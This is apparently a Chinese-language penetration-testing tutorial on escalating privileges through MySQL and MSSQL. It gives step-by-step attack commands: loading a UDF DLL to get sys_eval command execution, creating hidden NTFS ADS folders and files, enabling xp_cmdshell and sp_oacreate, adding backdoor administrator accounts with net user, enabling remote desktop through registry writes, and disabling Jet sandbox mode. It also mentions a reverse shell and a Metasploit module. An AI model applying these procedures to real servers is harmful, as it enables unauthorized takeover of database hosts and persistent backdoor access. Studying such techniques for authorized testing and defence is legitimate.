应用程序提权
应用程序提权
hihopkcMySQL提权
利用场景
目标主机开启MySQL远程连接,并且攻击者已经获得MySQL数据库连接的用户名和密码信息,通过UDF手工提权获得操作系统管理员权限。
- 拥有数据库账号密码,可以远程连接数据
- 拥有Webshell,可以连接数据库
- 能够写文件
- 可以操作数据库
如何获取数据库账号密码?
- 找数据库配置文件
- 通过Webshell对数据库进行本地爆破
- Hash获取MySQL密码
UDF提权简介
- UDF提权
UDF提权指的是利用注入漏洞或其他漏洞获取了数据库操作权限后,通过数据库输出具有提权功能的
文件并执行提权操作。
- UDF介绍
UDF: User Defined Function (用户自定义函数),为用户提供了一种高效创建函数的方式攻击者编写调用系统cmd命令(linux下相当于调用shell命令)的udf.dll文件,并将udf.dll导出到指定目录下,攻击者创建一个指向udf.dll的自定义函数func,每次在数据库查询中执行func函数等价于在cmd命令中执行命令。
- dll文件存放目录
Windows 2003:C:\windows\目录下
MySQL 5.1 版本后:MySQL安装目录\lib\plugin\目录下
udf.dll
lib_mysqludf_sys_32.dll
我们这里会用到 lib_mysqludf_sys_32.dll ,在 Metasploit framework 里面已经有了,你可以在 /usr/share/metasploit-framework/data/exploits/mysql/ 这个目录下选择对应操作系统和架构的 UDF 文件。
https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
获取dll文件导出函数:
- sys_exec
该函数将在“系统”函数内传递参数args-> args [0]。你可以使用它在目标机器上执行系统命令。
1 | # 创建 |
- sys_eval
该函数将执行系统命令并在屏幕上通过标准输出显示。
安装
1 | # 创建 |
- sys_get
该函数使用getenv函数返回系统变量的值。
安装
1 | # 创建 |
- sys_bineval
该函数将使用VirtualAlloc API分配RWX内存,并使用strcpy将args-> args [0]复制到新分配的内存中。然后,这个缓冲区被传递给CreateThread API来产生一个新的线程。
1 | # 创建 |
k8-udf.dll
https://github.com/ym2011/POC-EXP/tree/master/K8/Mysql%E6%8F%90%E6%9D%83
查看dll文件导出函数:
- 创建函数
1 | create function 函数名(区分大小写) returns string soname "dll名" (注意路径); |
- 删除函数
1 | delete function 函数名; |
- 使用函数
1 | select 函数名(参数列表); |
- 获取参数信息
1 | select 函数名("help"); |
- dll包含的函数
1 | cmdshell 执行cmd; |
UDF提权步骤
1. 确定操作系统和架构
1 | select @@version_compile_os, @@version_compile_machine; |
2. 查看MySQL安装路径和版本
1 | show variables like '%char%'; |
3. 查看plugin目录路径
1 | select @@plugin_dir; |
4. 查看是否有写权限
1 | show global variables like '%secure%'; |
- MySQL写文件
1 | select '111' into dumpfile 'C:\\1.txt'; |
outfile函数:可以导出多行数据
dumpfile函数:只能导出一行数据
outfile函数:在将数据写到文件里时有特殊的格式转换
dumpfile函数:在将数据写到文件里时保持源数据格式
- 关于secure-file-priv
MySQL 进行文件导入导出操作时默认会出现如下错误:
1 | mysql> select * from news INTO OUTFILE 'D:/news.log'; |
其中有一个 –secure-file-priv 参数选项
- mysql 的 secure_file_priv 参数
secure-file-priv 参数是用来限制 LOAD DATA, SELECT … INTO OUTFILE , and LOAD_FILE()传到哪个指定目录的。
当 secure-file-priv
的值为 NULL
,表示限制 mysqld 不允许导入、导出
当 secure-file-priv
的值为 /tmp/
,表示限制 mysqld 的导入、导出只能发生在/tmp/目录下
当 secure-file-priv
的值没有具体值时,表示不对 mysqld 的导入、导出做限制
如何查看 secure-file-priv 参数的值:
1 | show global variables like '%secure%'; |
此开关默认为NULL,即不允许导入导出。
1 | mysql> show global variables like '%secure%'; |
如何设置 secure_file_priv 参数:
Windows: 修改 my.ini 在[mysqld]内加入secure_file_priv=
,重启mysql
Linux:修改 my.cnf 在[mysqld]内加入secure_file_priv=
,重启mysql
1 | mysql> show global variables like '%secure%'; |
5. 创建plugin目录
在MySQL5.1以后的环境下只有将udf.dll文件导出到MySQL安装目录\lib\plugin\目录下才能成功,但是很多时候mysql安装目录下并不存在lib目录,mysql文件操作也并不能直接创建目录,此时需要通过NTFS ADS流来创建目录。
1 | select 'xxx' into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; |
- ADS流
NTFS ADS :全称为NTFS交换数据流(NTFS Alternate Data Streams),是NTFS文件系统的一个特性。NTFS文件系统中的每一个文件可以包括多个数据流,每个文件数据流的完整格式如下:
1 | <filename>:<stream name>:<stream type> |
只有一个data
流时,stream name
通常可以省略,stream type
也可以成为attribute type
。我们通常看到的是文件的data流,其它数据流都处于隐藏状态。当attribute type
为$INDEX_ALLOCATION
时,表明该该数据流的宿主是文件夹。所以可以通过 mysql 导出数据到directory_path::$INDEX_ALLOCATION
文件的方法来创建directory_path目录。
- $DATA流创建
1.创建宿主文件
1 | echo "this is a test file" > test.txt |
2.关联数据流
1 | echo "this is a ads file" > test.txt:aaa:$data |
3.查看test.txt文件,读取正常
1 | type test.txt |
4.查看流文件
1 | dir /r |
1 | 2021/03/05 10:26 24 test.txt |
1 | notepad test.txt:aaa |
5.流文件无法直接删除,只能删除源文件
1 | del /f test.txt |
- 创建隐藏文件
1 | type pass.txt > song.mp3:password:$DATA |
- $INDEX_ALLOCATION流创建文件夹
1 | echo 123 > hello::$INDEX_ALLOCATION |
6. 创建临时表
1 | create table udftemp(data BLOB); |
BLOB 全称为 Binary Large Objects,即大型二进制对象
或者
1 | create table udftemp(data longblob); |
7. 将dll内容转为十六进制
可以通过MySQL的hex函数将dll文件二进制数据转为十六进制数据,并保存到udf.txt文件中
1 | select hex(load_file('C:\\udf.dll')) into dumpfile 'C:\\udf.txt'; |
当然也可以使用类似010 editor的十六进制编辑器获得十六进制数据
8. 将dll文件内容插入表中
将udf.dll二进制数据插入临时表udftemp中,$binaryCode为udf.txt文件中复制的内容。
1 | insert into udftemp(data) values (0x+udf.txt中的值); |
9. 将dll导出到plugin目录
将udf.dll导出到MySQL安装目录下的lib/plugin/udf.dll文件中
1 | select data from udftemp into dumpfile "C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll"; |
10. 创建函数
1 | create function sys_eval returns string soname 'udf.dll'; |
11. 执行命令
1 | select sys_eval('whoami'); |
12. 添加管理员用户
1 | select sys_eval('net user udftest 123456 /add & net localgroup administrators udftest /add'); |
命令执行反弹shell
1 | # 创建临时表 |
MSF自动利用
1 | exploit/multi/mysql/mysql_udf_payload |
MSSQL提权
MSSQL角色用户权限
权限等级 | 角色 | 描述 |
---|---|---|
1 | bulkadmin | 可以运行BULK INSERT语句.该语句允许从文本文件中将数据导入到SQL Server22008数据库 |
2 | dbcreator | 可以创建,更改,别除和还原任何数据库不仅适合助理DBA角色,也可能适合开发人员角色 |
3 | diskadmin | 用于管理磁盘文件,比如镜像数据库和添加备份设备 |
4 | processadmin | SQL Server2008可以同时多进程处理,这个角色可以结束进程 |
5 | public | 初始状态时没有权限,所有数据库用户都是它的成员 |
6 | securityadmin | 管理登录名及其属性.可以授权拒绝和撤销服务器级/数据库级权限.可以重置登录名和密码 |
7 | serveradmin | 可以更改服务器范围的配置选项和关闭服务器 |
8 | setupadmin | 为需要管理联接服务器和控制启动的存储过程的用户而设计 |
9 | sysadmin | 这个角色有权在SQL Server2008中执行任何操作 |
MSSQL常用命令
1 | # 查看数据库版本 |
xp_cmdshell
简介
xp_cmdshell 扩展存储过程,可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。
由于 xp_cmdshell 可以执行任何操作系统命令,所以一旦SQL Server管理员帐号(如sa)被攻破,那么攻击者就可以利用 xp_cmdshell 在 SQL Server 中执行操作系统命令。
注意:
SQL Server 2000 中默认是开启 xp_cmdshell 的
SQL Server 2005 及以上版本中 xp_cmdshell 默认是关闭的
基本使用
- 基本语法
1 | exec master..xp_cmdshell "dos命令"; |
1 | exec master..xp_cmdshell "ver" |
提权利用
- 判断用户权限
只有 sysadmin 组的用户才能执行 xp_cmdshell
1 | select IS_SRVROLEMEMBER ('sysadmin') |
返回结果为1表明当前用户在 sysadmin 组
1 | and (select IS_SRVROLEMEMBER ('sysadmin'))=1-- |
- 判断是否存在 xp_cmdshell
判断数据库中是否存在 xp_cmdshell 组件,返回结果为1表明组件存在
1 | select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' |
1 | and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') |
- 检测 xp_cmdshell 是否启用
尝试通过 xp_cmdshell 执行命令,检测 xp_cmdshell 是否启用
1 | exec master..xp_cmdshell "ver"; |
如果服务未开启,执行 xp_cmdshell 将会提示如下的内容
1 | 消息 15281,级别 16,状态 1,过程 xp_cmdshell,第 1 行 |
- 启用 xp_cmdshell
系统管理员可以通过使用 sp_configure 启用 xp_cmdshell
1 | exec sp_configure 'show advanced options',1;reconfigure; |
此时即可通过 xp_cmdshell 执行系统命令
1 | exec master..xp_cmdshell "ver"; |
- 执行系统命令添加用户
创建用户
1 | exec master..xp_cmdshell "net user name password /add" |
添加用户到管理员组
1 | exec master..xp_cmdshell "net localgroup administrators name /add" |
sp_oacreate
简介
在 xp_cmdshell 被删除或者出错情况下,可以充分利用 sp_oacreate 进行提权。
利用OLE对象接口,SQL Server 提供了一些函数访问OLE对象,分别是 sp_oacreate 和sp_oamethod,可利用它们调用OLE控件,间接获取一个shell
利用
判断是否存在 sp_oacreate
- 判断数据库中是否存在 sp_oacreate 组件,返回结果为1表明组件存在
1 | select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'sp_oacreate'; |
- 检测 sp_oacreate 是否启用
尝试通过 sp_oacreate 执行命令,检测 sp_oacreate 是否启用
1 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user'; |
如果服务未开启,执行 sp_oacreate 将会提示如下的内容
1 | 消息 15281,级别 16,状态 1,过程 sp_OAMethod,第 1 行 |
- 启用组件
系统管理员可以通过使用 sp_configure 启用 sp_oacreate
1 | exec sp_configure 'show advanced options',1;reconfigure; |
此时即可通过 sp_oacreate 执行系统命令
- 添加用户
1 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user zhangsan 123456 /add' |
- 执行命令
1 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\1.txt' -- |
wscript.shell
在SQL Server 2008和 SQL Server 2000上都适用
1 | # 声明一个变量 |
1 | # 添加用户 test/test |
Shell.Application
SQL Server 2008不可用,SQL Server 2000可用
1 | # 添加用户 test/test |
xp_regread
- 是否开启远程桌面
1表示关闭,0表示开启
1 | exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections' |
- 读取远程桌面端口
1 | EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' |
- 开启远程桌面
1 | EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; |
- 关闭远程桌面
1 | EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1; |
沙盒模式
只有windows xp和windows 2003可用
沙盒模式是数据库的一种安全功能,在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。
无法执行命令时,xp_regwrite 可用
- 启用Ad Hoc Distributed Queries
1 | exec sp_configure 'show advanced options',1;reconfigure; |
- 读取SandBoxMode[可选]
1 | exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode'; |
1 | SandBoxMode参数含义(默认是2) |
- 关闭沙盒模式
1 | exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; |
- 执行系统命令
1 | # 添加用户 test/test |